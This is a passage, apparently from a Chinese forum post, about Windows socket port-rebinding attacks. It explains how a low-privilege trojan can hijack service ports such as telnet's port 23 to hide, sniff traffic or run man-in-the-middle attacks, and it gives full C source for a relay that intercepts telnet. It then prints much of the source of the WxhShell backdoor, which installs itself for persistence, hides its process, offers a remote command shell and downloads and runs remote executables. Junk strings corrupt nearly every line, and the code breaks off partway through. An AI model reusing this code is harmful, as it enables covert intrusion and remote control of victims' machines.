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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ssY5g !%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JavSR1_  
nq%GLUH   
  saddr.sin_family = AF_INET; B>r>z5  
,z5B"o{Et  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }'u0Q6Obj  
8[rZRc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Xn6'*u>+;[  
3]rd!Gp=*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +/ U6p!  
Lj2Au_5  
  这意味着什么?意味着可以进行如下的攻击: @:w[(K[^b/  
_z6" C8W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sjj,q?  
\Z8:^ct.P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2fFGS.l  
>NJ`*M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -'Oq.$Qq  
0eFvcH:qG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hQ_g OI  
tB#-}Gf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +`&-xq76  
P$i d?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zlhI\jRdc  
Oi4y~C_Xd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w$$vR   
snvixbN  
  #include MVkO >s  
  #include mw fl x8  
  #include ueP a4e!  
  #include    V9/PkuT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Sp\ 7  
  int main() L4!T  
  { nO;t5d  
  WORD wVersionRequested; l'FNp  
  DWORD ret; bR}=bp4K  
  WSADATA wsaData; `kM:5f+>W  
  BOOL val; Rd:wMy$  
  SOCKADDR_IN saddr; rssn'h  
  SOCKADDR_IN scaddr; ~@ML>z 7  
  int err; !~QmY,R  
  SOCKET s; aP`V  
  SOCKET sc; VjGtEIew  
  int caddsize; @R s3i;"W  
  HANDLE mt; ;To][J  
  DWORD tid;   YdF\*tZ  
  wVersionRequested = MAKEWORD( 2, 2 ); tish%Qnpd  
  err = WSAStartup( wVersionRequested, &wsaData ); -J(93@X 9  
  if ( err != 0 ) { 8j jq)d4#  
  printf("error!WSAStartup failed!\n"); <,huajQs  
  return -1; ZuVes?&j  
  } hM~zO1XW  
  saddr.sin_family = AF_INET; We:b1sZR  
   _su$]s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |^T?5=&Kt  
m\;@~o'k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2Pic4Z  
  saddr.sin_port = htons(23); C ]+J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [RFF&uy  
  { m+'vrxTY  
  printf("error!socket failed!\n"); <L>$Y#wU  
  return -1; k/mO(i%qi  
  } > ?<C+ZHh  
  val = TRUE; az;o7[rI^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |n q}#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L6f$ID:  
  { ;=F]{w]$+  
  printf("error!setsockopt failed!\n"); .E&-gXJ4  
  return -1; 18];fC  
  } XXA1%Lw%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t%Hy#z1W_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '/ v@q]!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <j^bk"l p  
7qT>wCVT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U3 y-cgE  
  { ?/ Cl  
  ret=GetLastError(); yx&'W_Q@  
  printf("error!bind failed!\n"); K3On8  
  return -1; Yk!TQY4  
  } uIb,n5  
  listen(s,2); \g<=n&S?  
  while(1) )%D>U  
  { ;!H|0sv  
  caddsize = sizeof(scaddr); M->$ 'Zgh`  
  //接受连接请求 o:8*WCiqrN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KOHYeiry~A  
  if(sc!=INVALID_SOCKET) Mz#<Vm4  
  { L6E8A?>5rD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S=.7$PY  
  if(mt==NULL) f%JC;Y  
  { *oca   
  printf("Thread Creat Failed!\n"); 5}" @$.{i  
  break; 8fX<,*#I  
  } ** !  
  } mpysnKH  
  CloseHandle(mt); !&b wFO>P  
  } z-X_O32  
  closesocket(s); o2 vBY]Tj  
  WSACleanup(); +M/1,&  
  return 0; 02F[4c~  
  }   /;rPzP4K6  
  DWORD WINAPI ClientThread(LPVOID lpParam) <4m@WG  
  { V.U9Q{y"  
  SOCKET ss = (SOCKET)lpParam; Yl#|+xYA5[  
  SOCKET sc; YN>k5\M_v  
  unsigned char buf[4096]; m_pqU(sP  
  SOCKADDR_IN saddr; X:1&Pdi  
  long num; [;n/|/m,  
  DWORD val; ;"N4Yflz  
  DWORD ret; GZ@`}7b}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 K,' v{wSr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K6s%=.Zi(  
  saddr.sin_family = AF_INET; ~R!M.gY[rK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iF#|Z$g-(  
  saddr.sin_port = htons(23); ?!Bf# "TY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rrL gBeQa  
  { S pqbr@j  
  printf("error!socket failed!\n"); AZgeu$:7p<  
  return -1; @V>BG8Y  
  } 9z0G0QW[  
  val = 100; 2/ES.>K!.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bB->7.GXu  
  { N ">4I)  
  ret = GetLastError(); D{)K00mm  
  return -1; ;)'@kzi  
  } <QcQ.b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #FNSE*Y  
  { PDi]zp9>H  
  ret = GetLastError(); 8uq`^l%KkZ  
  return -1; gFQ\zOlY8a  
  } Pn|;VCh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) NQpC]#n  
  { 7XU$O$C  
  printf("error!socket connect failed!\n"); 3)6&)7`*  
  closesocket(sc); #PJHwvr  
  closesocket(ss); q@(MD3OE  
  return -1; \Hs*46@TC  
  } %p t^?  
  while(1) BGOajYD  
  { 618k-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H,q-*Kk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qe3d,!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e\7AtlW"  
  num = recv(ss,buf,4096,0); V=cJdF  
  if(num>0) 5"WI^"6b:  
  send(sc,buf,num,0); qvs&*lBY  
  else if(num==0) $2J[lt?%  
  break; z55g'+Kab  
  num = recv(sc,buf,4096,0); q*'-G]tH=  
  if(num>0) \'9(zbvz9  
  send(ss,buf,num,0); XEe$Wh  
  else if(num==0) ^(+@uuBx  
  break; /:.p{y  
  } ;#XF.l,u  
  closesocket(ss); $No^\.mV  
  closesocket(sc); =_=0l+\}  
  return 0 ; P|tNmv[;  
  } Q u_=K_W  
4L_AhX7  
m8,jVR  
========================================================== qp{3I("_  
j^)=<+Q;=  
下边附上一个代码,,WXhSHELL lKBI3oYn  
ZU68\cL  
========================================================== W1 \dGskV  
HXb^K  
#include "stdafx.h" Ie7S'.Lmq  
9yYNX;C  
#include <stdio.h> 49tJ+J-N  
#include <string.h> "BA&  
#include <windows.h> cMoBYk  
#include <winsock2.h> SNrX(V::z  
#include <winsvc.h> qNX+!Y}y  
#include <urlmon.h> RH^; M-'  
)CoJ9PO7  
#pragma comment (lib, "Ws2_32.lib") ZfU &X{  
#pragma comment (lib, "urlmon.lib") _ 5/3RN  
,?c=v`e  
#define MAX_USER   100 // 最大客户端连接数  ,8)aK y  
#define BUF_SOCK   200 // sock buffer '-V[t yE  
#define KEY_BUFF   255 // 输入 buffer Bp/ k{7  
tpQ8 m(  
#define REBOOT     0   // 重启 <Q@{6  
#define SHUTDOWN   1   // 关机 gg&Dej2{  
,veo/k<"r8  
#define DEF_PORT   5000 // 监听端口 }+fBJ$  
c|F26$rv  
#define REG_LEN     16   // 注册表键长度 H><! C  
#define SVC_LEN     80   // NT服务名长度 e/Y& d9` I  
EASN#VG  
// 从dll定义API l'RuzBQr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l:(?|1_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >K 7]G?+7E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B&sa|'0U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \]qwD m/  
k8w:8*y'.  
// wxhshell配置信息 8nTdZu  
struct WSCFG { RJE<1!{  
  int ws_port;         // 监听端口 '<aFd)-  
  char ws_passstr[REG_LEN]; // 口令 IRbZ ;*3dO  
  int ws_autoins;       // 安装标记, 1=yes 0=no }qN   
  char ws_regname[REG_LEN]; // 注册表键名 2l}3L  
  char ws_svcname[REG_LEN]; // 服务名 g.x]x #BC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 24I~{Qy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 | (: PX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }^ZPah  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ombvp;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ol@LLT_m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'cf8VD  
N  Bpf  
}; cB4p.iO   
aWMEo`O%  
// default Wxhshell configuration cp 5  
struct WSCFG wscfg={DEF_PORT, jHpFl4VPz  
    "xuhuanlingzhe", K2ry@haN  
    1, ("_tML 8/p  
    "Wxhshell", d1/uI^8>  
    "Wxhshell", Q*caX   
            "WxhShell Service",  `AxhA.&V  
    "Wrsky Windows CmdShell Service", pu5-=QN  
    "Please Input Your Password: ", Ng1uJa[k!d  
  1, ]`}R,'P  
  "http://www.wrsky.com/wxhshell.exe", qb$f,E[  
  "Wxhshell.exe" n##d!d|g  
    }; ;T?4=15c  
~ H $q  
// 消息定义模块 YJ~3eZQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2Ls  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H8?Kgaj~vf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AE&IN.-  
char *msg_ws_ext="\n\rExit."; .RxAYf|  
char *msg_ws_end="\n\rQuit."; &ajpD sz;  
char *msg_ws_boot="\n\rReboot..."; |k=L&vs  
char *msg_ws_poff="\n\rShutdown..."; VU 8 ~hF  
char *msg_ws_down="\n\rSave to ";  B!+`km5  
9UeK}Rl^n  
char *msg_ws_err="\n\rErr!"; <e7  
char *msg_ws_ok="\n\rOK!"; jwZBWt )5  
V-%Am  
char ExeFile[MAX_PATH]; nK5FPFz8  
int nUser = 0; xk$U+8K  
HANDLE handles[MAX_USER]; i& ybvTl  
int OsIsNt; pt+[BF6P  
uQlQ%n%  
SERVICE_STATUS       serviceStatus; `+O7IyTM A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; & !I$  
a'2^kds  
// 函数声明 BV01&.<|  
int Install(void); V_Oj?MMp n  
int Uninstall(void); &?gvW//L2  
int DownloadFile(char *sURL, SOCKET wsh); .#ASo!O5q  
int Boot(int flag); `@07n]KB  
void HideProc(void); wA;Cj  
int GetOsVer(void); =vZF/r  
int Wxhshell(SOCKET wsl); wc#E:GJcK  
void TalkWithClient(void *cs); q2C._{ 0'  
int CmdShell(SOCKET sock);  +*aZ9g  
int StartFromService(void); Uc?#E $X  
int StartWxhshell(LPSTR lpCmdLine); bI"_hvcFp  
}{.0mu9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eAD uk!Iq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _wKaFf  
<|MF\D'  
// 数据结构和表定义 nD51,1>  
SERVICE_TABLE_ENTRY DispatchTable[] = M$0-!$RY  
{ ^$I8ga  
{wscfg.ws_svcname, NTServiceMain}, +__PT4ps  
{NULL, NULL} qu:nV"~_  
}; chF@',9t  
 nW*D  
// 自我安装 byTTLs,}d  
int Install(void) [R~`6  
{ .!pr0/9B  
  char svExeFile[MAX_PATH]; NP#:} )  
  HKEY key; LnZC)cL P/  
  strcpy(svExeFile,ExeFile); ;0c -+,  
NM{/rvM  
// 如果是win9x系统,修改注册表设为自启动 #oX8EMqs<  
if(!OsIsNt) { Jb (CH4|7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0mMoDJRy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +'VSD`BR  
  RegCloseKey(key); #NZ#G~oeO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %A^V@0K3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w 4fz!l]  
  RegCloseKey(key); ~]_U!r[FA  
  return 0; <lo\7p$A  
    } ;LXwW(_6d  
  } 6B=: P3Y  
} Sr#\5UDS  
else { <(c_[o/  
r&/M')}?Lw  
// 如果是NT以上系统,安装为系统服务 'OTQiI^t=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CVt:tV  
if (schSCManager!=0) (& UQ^  
{ aJ/}ID  
  SC_HANDLE schService = CreateService k:QeZn(  
  ( ?-Zl(uX  
  schSCManager, $~+(si2  
  wscfg.ws_svcname, LGdM40  
  wscfg.ws_svcdisp, J6[V7R[\  
  SERVICE_ALL_ACCESS, }nUq=@ej  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0;Oe&Y  
  SERVICE_AUTO_START, 4Y5lP00!}  
  SERVICE_ERROR_NORMAL, 6Lc{SR  
  svExeFile, h4#y'E!,Z  
  NULL, vk0b b3){D  
  NULL, B{ Ab #  
  NULL, T@%\?=P  
  NULL, YWFq&II|Z  
  NULL Ls` [7w  
  ); Cvp!(<<gK  
  if (schService!=0) D 0 O^=v|  
  { 4=~+B z  
  CloseServiceHandle(schService); cE;n>ta"F  
  CloseServiceHandle(schSCManager); &"r /&7:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vvI23!H  
  strcat(svExeFile,wscfg.ws_svcname); U EjP`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S54q?sb_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ve]hE}o/}  
  RegCloseKey(key); 21$E.x 6  
  return 0; <I#nwoHN  
    } 7tbY>U8  
  } yT~rql  
  CloseServiceHandle(schSCManager); jNvDE}'  
} -tZ~&1"  
} X- ZZLl#  
QR2S67-  
return 1; \$4 [qG=  
} 5%%e$o+  
VIHuo,  
// 自我卸载 ,v%' 2[}  
int Uninstall(void) eaAGlEW6J  
{ 4{@{VsXN  
  HKEY key; r7,}"Pl  
]rG/?1'^i  
if(!OsIsNt) { .P <3+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4*ZY#7h  
  RegDeleteValue(key,wscfg.ws_regname); )ViBH\.*p  
  RegCloseKey(key); <2E|URo,#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i!x>)E  
  RegDeleteValue(key,wscfg.ws_regname); Gp{,v  
  RegCloseKey(key); [l3ys  
  return 0; j4<K0-?  
  } -&COI-P8  
} }T0O~c{$i  
} OXm`n/64+  
else { AhD C5ue=  
\BuyJskE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;=7K*npT  
if (schSCManager!=0) a'-u(Bw  
{ W6Mq:?+D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Wqkb1~]#Y  
  if (schService!=0) m<49<O6o  
  { x_ /}R3d  
  if(DeleteService(schService)!=0) { _1NK9dp:  
  CloseServiceHandle(schService); EJ>&\Iq  
  CloseServiceHandle(schSCManager); i!zFW-*5  
  return 0; D#G%WT/"  
  } 2j: 0!%  
  CloseServiceHandle(schService); m`l9d4p w?  
  } ^$5 0[  
  CloseServiceHandle(schSCManager); {"+M%%`*#  
} \XPGA uEo  
} Z2gWa~dBC  
T8|5%Y  
return 1; Lo~ ;pvv  
} qXg&E}]:=  
o//h|fU@  
// 从指定url下载文件 Z;%uDlcXI  
int DownloadFile(char *sURL, SOCKET wsh) d)e mTXB(  
{ | DV?5>>  
  HRESULT hr; a3>/B$pE  
char seps[]= "/"; 4WJY+)  
char *token; z 7ik/>d?  
char *file; v!8=B21  
char myURL[MAX_PATH]; a8f#q]TyQ  
char myFILE[MAX_PATH]; eD?&D_l~6  
Rh ^(91d  
strcpy(myURL,sURL); 9H/>M4RT  
  token=strtok(myURL,seps); =w! ik9  
  while(token!=NULL) vY-CXWC7  
  { *^uK=CH1?(  
    file=token; '< U&8?S  
  token=strtok(NULL,seps); 1>OlBp  
  } A<ds+0  
)A$"COM4  
GetCurrentDirectory(MAX_PATH,myFILE); :YI5O/gsk?  
strcat(myFILE, "\\"); :Ln)j%&  
strcat(myFILE, file); kU[hB1D5  
  send(wsh,myFILE,strlen(myFILE),0); >`\.i,X .D  
send(wsh,"...",3,0); E ?Mgbd3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /[<F f  
  if(hr==S_OK) F(yR\)!C  
return 0; .;]WcC<3  
else UDh \%?j  
return 1; TKR#YJQ?K  
&KjMw:l  
} [(heE  
taE p   
// 系统电源模块 LN|(Z*  
int Boot(int flag) mol,iM*l  
{ C< c6Ub  
  HANDLE hToken; (oG YnN,2  
  TOKEN_PRIVILEGES tkp; c!ZZMC s  
'4 *0Pw  
  if(OsIsNt) { ]E-/}Ysz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V: D;?$Jl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !:&SfPv  
    tkp.PrivilegeCount = 1; uge r:cD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h$&Tg_/'#D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YVMvT>/,  
if(flag==REBOOT) { p AOKy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .;4N:*hY  
  return 0; V vrsf6l]  
} :}e<  
else { g{V(WyT@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~6f/jCluR%  
  return 0; <D.E .^Y  
} \6|y~5Hw{r  
  } <  o?ua}  
  else { s9ix&m  
if(flag==REBOOT) { q-(~w!e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R4'.QZ-x  
  return 0; L<!h3n  
}  p& _Z}Wv  
else { Ak?9a_f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5nx*D"  
  return 0; y~+LzDV  
} }k VC ]+  
} RnkV)ed(  
xw8k<`  
return 1; ~rV$.:%va  
} L ci?  
+S~ u,=  
// win9x进程隐藏模块 PB^rniYh  
void HideProc(void) 0XA\Ag\`G  
{ nOPB*{r|  
>Lcu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m~+.vk  
  if ( hKernel != NULL ) wrkw,H  
  { "o- -MBq4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l-XfUjJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gveGBi  
    FreeLibrary(hKernel); &b@_ah+f  
  } OAkqPG&w  
rPB Ju0D"  
return; vu.ug$T  
} RhJ3>DL  
$(62j0mS>  
// 获取操作系统版本 XI Mh<  
int GetOsVer(void) 4m\Cc_:jO  
{ iYLg[J"  
  OSVERSIONINFO winfo; OFo hyy(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5i6Ji(  
  GetVersionEx(&winfo); `m'RvUc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8;qOsV)UDT  
  return 1; GNW$:=0u  
  else W(qK?"s2  
  return 0; r`ftflNh(  
} D Z~036  
*fY*Wy9  
// 客户端句柄模块 s {*rBX8N  
int Wxhshell(SOCKET wsl) JXuks`:Q  
{ BHpay  
  SOCKET wsh; R Q 8"vF#  
  struct sockaddr_in client; ]#N8e?b,  
  DWORD myID; xRZ K&vkKE  
GB+$ed5@<  
  while(nUser<MAX_USER) k7JC~D E#  
{ #pWy%U  
  int nSize=sizeof(client); qW3XA$g|j'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uaD+G:{ [  
  if(wsh==INVALID_SOCKET) return 1; 1&h\\&ic  
)l*3^kwL{U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {%2p(5FB  
if(handles[nUser]==0) :"Vmy.xq  
  closesocket(wsh); Bz{"K  
else b 2\J<Nw  
  nUser++; -R9{Ak  
  } "Ml#,kU<T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <&+0  
{_>XsB  
  return 0; f !7fz~&Sh  
} HII@Ed f?  
r{* Qsaw  
// 关闭 socket asW W@E  
void CloseIt(SOCKET wsh) lNe5{'OrO  
{ c*w0Jz>@.7  
closesocket(wsh); &w=ul'R98  
nUser--; = g%<xCp  
ExitThread(0); f4`Nws-dP  
} aEEb1Y  
"6~+ -_:  
// 客户端请求句柄 7OPRf9+o  
void TalkWithClient(void *cs) ?>R(;B|ER  
{ tI0D{Xrc  
1vh[sKv9%  
  SOCKET wsh=(SOCKET)cs; eOb)uIF  
  char pwd[SVC_LEN]; 4y)6!p  
  char cmd[KEY_BUFF]; t ,EMyZ  
char chr[1]; : t D`e<  
int i,j; e=!sMWx6  
do.XMdit  
  while (nUser < MAX_USER) { %xX b5aY  
nGDY::nUE  
if(wscfg.ws_passstr) { $7O3+R/=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v# fny  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V_4=0(  
  //ZeroMemory(pwd,KEY_BUFF); qP9`p4c8i  
      i=0; Fbw.Y6  
  while(i<SVC_LEN) { a0k/R<4  
FbCuXS=+`  
  // 设置超时 7Zft]C?|@  
  fd_set FdRead; .| :R#VW  
  struct timeval TimeOut; IR8qFWDZ  
  FD_ZERO(&FdRead); :c:}_t{%  
  FD_SET(wsh,&FdRead); yx<-M  
  TimeOut.tv_sec=8; d(vt0  
  TimeOut.tv_usec=0; 94lz?-j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TQpR'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _Q*,~ z~  
0.~s>xXp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0c&DSL}6  
  pwd=chr[0]; $b )k  
  if(chr[0]==0xd || chr[0]==0xa) { ~T=a]V  
  pwd=0; S<I9`k G  
  break; t&o&gb  
  } <I{Yyl^  
  i++; #,SPV&  
    } j 9f QV  
p3IhK>  
  // 如果是非法用户,关闭 socket A4)TJY 3g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?{1& J9H  
} -S%Uw  
>4?735f=x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Dyj>dh-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /9ZU_y4&3f  
7! /+[G  
while(1) { Cv< s|  
=pb ru=/  
  ZeroMemory(cmd,KEY_BUFF); %\1W0%w  
 %d0BQ|  
      // 自动支持客户端 telnet标准   p%+'iDb  
  j=0; WFfn:WSWU  
  while(j<KEY_BUFF) { qKI)*o062  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Md*.q^:  
  cmd[j]=chr[0]; U ?6.UtNf  
  if(chr[0]==0xa || chr[0]==0xd) { O]?PC^GGY  
  cmd[j]=0; *$Z?Owl7  
  break; H6M G5f_  
  } XJA];9^  
  j++; )D7/[zb^  
    } "8\2w]"  
:;w#l"e7<  
  // 下载文件 L1QDA}6?_Y  
  if(strstr(cmd,"http://")) { iE^=Vf;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p<\7" SB=  
  if(DownloadFile(cmd,wsh)) 0\wW%3C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O&@CT])8  
  else ^(Wu$\SA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Am"&ApK  
  } -o@L"C>   
  else { Lv<vMIr  
R|]n;*y  
    switch(cmd[0]) { D/Py?<n-B  
  pzeCdHF  
  // 帮助 g Cx#&aXS  
  case '?': { {n(/ c33  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V}Ce3wgvA  
    break; +77B656  
  } D=}\]Krmay  
  // 安装 D"&Sd@a{  
  case 'i': { T_fM\jdI  
    if(Install()) 0@Z}.k30  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !gJw?(8"  
    else _P*QX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]l, ,en5V  
    break; ?H eUU  
    } +tJ 7ZR%  
  // 卸载 I8uFMP  
  case 'r': { 7 4]qz,  
    if(Uninstall()) )T^xDx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "egpc*|]  
    else <jBRUa[j_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IRTD(7"oyp  
    break; L[!||5y  
    } Rx?ze(  
  // 显示 wxhshell 所在路径 )W&{OMr  
  case 'p': { } |  
    char svExeFile[MAX_PATH]; .h(iyCxP  
    strcpy(svExeFile,"\n\r"); 13+. >  
      strcat(svExeFile,ExeFile); <,\U,jU _  
        send(wsh,svExeFile,strlen(svExeFile),0); M~~)tJYsu  
    break; 'c# }^@G  
    } |#'n VN.;  
  // 重启 gFsqCx<q  
  case 'b': { o7@C$R_#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hw(\3h()  
    if(Boot(REBOOT)) [2E(3`-u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z"Mk(d@-E  
    else { ILqBa:J  
    closesocket(wsh); m=SI *V  
    ExitThread(0); ck\W'Y*Q7  
    } @_1cY#!  
    break; dT[JVl+3=  
    } Ov ^##E  
  // 关机 u1=K#5^  
  case 'd': { @w`wJ*I4,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _ j`tR:  
    if(Boot(SHUTDOWN)) X-#&]^d  
